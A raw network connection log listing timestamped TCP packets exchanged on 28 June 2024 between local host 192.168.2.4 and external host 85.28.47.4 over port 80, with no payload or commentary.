Jun 28, 2024 22:32:06.063360929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063909054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063924074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063937902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063951969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063962936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063977003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063992977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063999891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064013958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064028025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064038038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064052105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064065933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064075947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064090014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064109087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064121008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064137936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064148903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064162016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064177990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064188004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064201117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064210892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064248085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064865112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064882040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064897060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064910889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064922094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064937115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064946890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.064960003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064975023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.064985991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065000057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065013885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065022945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065037966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065049887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065062046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065082073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065088987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065103054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065124989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065131903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065143108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065155983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065182924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065203905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065733910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065749884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065764904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065778971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065790892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065804005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065814018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065829039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065844059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065854073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065872908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065881968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065895081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065910101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.065921068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065941095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.065978050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066162109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066175938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066191912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066210985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066217899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066231012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066248894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066279888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066291094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066306114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066320896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066332102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066344976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066359997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066369057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066385031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066394091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066406012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066421986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066435099 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066446066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.066474915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.066494942 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153260946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153322935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153330088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153343916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153367996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153400898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153462887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153476954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153491974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153506994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153517008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153561115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153589964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153639078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153665066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153678894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153692007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153706074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153721094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153750896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153815031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153826952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153842926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153856993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153867960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153882980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.153892994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.153928995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154063940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154077053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154098034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154114962 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154122114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154150009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154192924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154218912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154241085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154256105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154268026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154278994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154290915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154304981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154330015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154350996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154547930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154562950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154577971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154591084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154603004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154617071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154630899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154640913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154655933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154668093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154680014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154695988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154706955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154720068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154728889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.154756069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.154777050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155026913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155041933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155056953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155070066 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155093908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155160904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155181885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155215025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155246019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155319929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155334949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155350924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155364037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155375004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155394077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155424118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155435085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155448914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155464888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155476093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155488968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155498028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155514956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155525923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155539989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155550003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155565977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155575991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155587912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155599117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155610085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155622959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.155633926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.155659914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156033039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156079054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156164885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156187057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156205893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156213999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156229019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156235933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156255960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156263113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156279087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156286001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156301022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156310081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156320095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156339884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156348944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156362057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156383991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156400919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156797886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156811953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156826019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156843901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156852961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156862974 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156877041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156889915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156899929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156913996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156928062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156939030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156958103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156972885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.156984091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.156996965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157006979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157022953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157032967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157046080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157057047 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157071114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157094002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157130003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157646894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157660961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157675982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157690048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157700062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157716036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157723904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157737970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157749891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157762051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157776117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157785892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157799006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157812119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157823086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157836914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157849073 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157861948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157876015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157886028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157901049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157912016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157924891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.157934904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.157968998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158588886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158607960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158622026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158634901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158646107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158664942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158672094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158687115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158700943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158713102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158725977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158735037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158751011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158762932 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158775091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158793926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158801079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158813953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158829927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158838987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158853054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158863068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158875942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158895016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.158902884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.158937931 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.159384966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.159400940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.159415960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.159426928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.159440041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.159454107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.159465075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.159471035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.159487009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.159498930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.159526110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.246108055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.246169090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.246179104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.246191978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.246248960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.246296883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.246306896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.246316910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.246328115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.246342897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.246375084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247076035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247132063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247158051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247167110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247212887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247275114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247282982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247293949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247303009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247327089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247347116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247514963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247524977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247534037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247545004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247559071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247564077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247589111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247606039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.247735977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247747898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.247780085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248001099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248009920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248019934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248029947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248038054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248044968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248053074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248061895 CEST	80	49731	85.28.47.4	192.168.2.4
